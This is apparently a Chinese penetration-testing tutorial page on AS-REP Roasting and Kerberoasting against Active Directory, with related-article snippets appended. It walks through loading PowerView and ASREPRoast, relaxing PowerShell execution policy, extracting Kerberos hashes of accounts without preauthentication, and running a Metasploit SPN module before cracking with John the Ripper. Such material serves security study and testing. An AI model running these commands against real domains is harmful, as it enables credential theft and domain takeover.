准备工作


'''
PowerView是PowerSploit框架的一个子集,里面继承了很多和渗透相关的powershell脚本下载地址:https://github.com/PowerShellMafia/PowerSploit
如果没有,请下载这个连接的版本的模块:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
引用模块,可以单独引用PowerSploit的子模块或者引用子模块
首先把对应的文件夹放入$Env:PsModulePath的路径下,然后
Import-Module ModuleName(.\xxx.ps1)即可
查看引入了那些函数和过滤器可以使用
Get-Command -Module ModuleName
如果系统不支持导入模块,可以在PS中输入一下指令执行配置,允许配置
Set-ExecutionPolicy RemoteSigned
Set-ExecutionPolicy Unrestricted
Get-ASREPHash的部分需要用到ASREPRoast项目的功能:
https://github.com/gold1029/ASREPRoast
'''

AS-REP Roasting原理分析


原理就是通过获取不需要预鉴权的高权限账户,获取器hash值,进行爆破。这个爆破是依靠字典的,限制较多,不是很好用,首先控制一台域内的机器,然后获取powershell的权限。

Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose

Get-ASREPHash -UserName admin02 -Domain sec.com -Verbose

爆破


将hash值存起来,使用相关程序爆破,依靠字典

Kerberoasting攻击kerberos


使用msf的use auxiliary/gather/get_user_spns,也可以获得类似信息,但是注意一开始的位置是krb5tgs,而不是krb5asrep,说明这是从两个步骤的返回报文中获取到的hash值,可以分别进行爆破,只需要掌握一个与普通账号、口令、域名称、域控IP地址即可

use auxiliary/gather/get_user_spns
set rhosts x.x.x.x
set user xxx 普通用户权限即可
set pass xxx 普通用户权限即可
set domain xxxxx.xxx.xxx
set Threads 10
run



然后就可以使用jtr进行破解

参考文献:

https://www.anquanke.com/post/id/85374ss

https://www.anquanke.com/post/id/87050

使用AS-REP Roasting和kerberoasting攻击kerberos的更多相关文章

  1. Kerberoasting攻击

    前面我们介绍了<Windows本地认证>.<Windows网络认证>.<Windows域认证>和<SPN扫描>,这次继续讲解域内相关的东西. 0x01介 ...

  2. 域渗透-Kerberos协议中spn的应用

    0x01 关于SPN 服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称. 服务主体名称是服务实例(可以理解为一个服务,比如 HTTP.MSSQL ...

  3. SPN扫描

    0x01介绍 Kerberos是一种支持票证身份验证的安全协议.如果客户端计算机身份验证请求包含有效的用户凭据和服务主体名称 (SPN),则 Kerberos 身份验证服务器将授予一个票证以响应该请求 ...

  4. 域渗透 | kerberos认证及过程中产生的攻击

    ​文章首发于公众号<Z2O安全攻防>​ 直接公众号文章复制过来的,排版可能有点乱, 可以去公众号看. https://mp.weixin.qq.com/s/WMGkQoMnQdyG8UmS ...

  5. 结合NTLM中继和Kerberos委派攻击AD

    0x00 前言 在上个月我深入演讲了无约束委派之后,本文将讨论一种不同类型的Kerberos委派:基于资源的约束委派.本文的内容基于Elad Shamir的Kerberos研究,并结合我自己的NTLM ...

  6. Kerberos认证与攻击学习总结

    0.背景 聆听了n1nty大佬(90后黑客代表)的谆谆指导,学习了n1nty大佬的基本操作,决定总结一下,做一个简要的读书笔记,也把之前自己记录的关于Windows的安全的一些博客能够串联起来.所以首 ...

  7. Kerberos无约束委派的攻击和防御

    0x00 前言简介 当Active Directory首次与Windows 2000 Server一起发布时,Microsoft就提供了一种简单的机制来支持用户通过Kerberos对Web服务器进行身 ...

  8. Kerberos委派攻击

    域委派 就是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动. 在域中一般只有主机账号和服务账号才具有委派属性 主机账号:主机账号就是AD(活动目录)中Computers中的 ...

  9. kerberos认证协议爱情故事

    0x01.kerberos简介 kerberos是一种域内认证协议,Kerberos的标志是三头狗,狗头分别代表以下角色: Client Server KDC(Key Distribution Cen ...

随机推荐

  1. Linux 删除用户,用户主目录

    删除用户的命令是:userdel 用户名比如我刚建立的用户是:zhyh,则命令为:userdel zhyh执行以上命令成功后利用rm -rf /home/zhyh/就可以了 也可以用:userdel ...

  2. Nand_ECC_校验和纠错_详解

    word下载 ECC的全称是Error Checking and Correction,是一种用于Nand的差错检测和修正算法.如果操作时序和电路稳定性不存在问题的话,NAND Flash出错的时候一 ...

  3. pygame-KidsCanCode系列jumpy-part5-屏幕滚动

    接上回继续,方块不断向上跳动的过程中,从视觉上看,整个背景屏幕应该不断向下滚动,而且上方要不断出现新档板(否则就没办法继续向上跳了),这节我们将来实现这种效果,感觉好象很复杂,但实现起来其实很简单,只 ...

  4. C# 发送消息SendKeys、SendMessage、keybd_event的用法

    一.C#中SendKeys的用法 功能:将一个或多个按键消息发送到活动窗口,就如同在键盘上进行输入一样. 语法: SendKeys.Send(string keys); SendKeys.SendWa ...

  5. 给已经存在的项目添加git

    1.打开终端​,cd到已存在项目的目录 ​​​2.输入以下命令行,初始化一个本地仓库: ​git init 3.输入以下命令,把工程所有文件都添加到该仓库中(千万别忘记后面的.号!!!): ​git ...

  6. js格式化格林威治时间

    格式化时间:Sat Aug 05 00:00:00 CST 2017 function fermitTime(time){ var now = new Date(time); var year = n ...

  7. Win10系统的SurfacePro4如何重装系统-4 如何再次备份和还原系统

    还是进入到PE环境,直接用GHOST,Local-Partition-ToImage即可创建C盘新的备份   选择目标硬盘   选择要备份的分区   选择保存文件的路径(如果没有接键盘,打开底部的屏幕 ...

  8. shell编程学习笔记(四):Shell中转义字符的输出

    通过echo可以输出字符串,下面看一下怎么输出特殊转义字符,首先我先列出来echo的转义字符: \\ 输入\ \a 输出警告音 \b 退格,即向左删除一个字符 \c 取消输出行末的换行符,和-n选项一 ...

  9. 【PMP】关键路径法与关键链法

    通俗理解 关键路径法:把项目上的资源都事先全部分到每个活动上. 关键链法:每个活动不打富余,项目经理自己掌握资源,哪个成员执行过程中遇到困难,再给他单独分配资源. PMBOK定义 关键路径法:关键路径 ...

  10. 机器人关节空间轨迹规划--S型速度规划

    关节空间 VS 操作空间 关节空间与操作空间轨迹规划流程图如下(上标$i$和$f$分别代表起始位置initial和目标位置final): 在关节空间内进行轨迹规划有如下优点: 在线运算量更小,即无需进 ...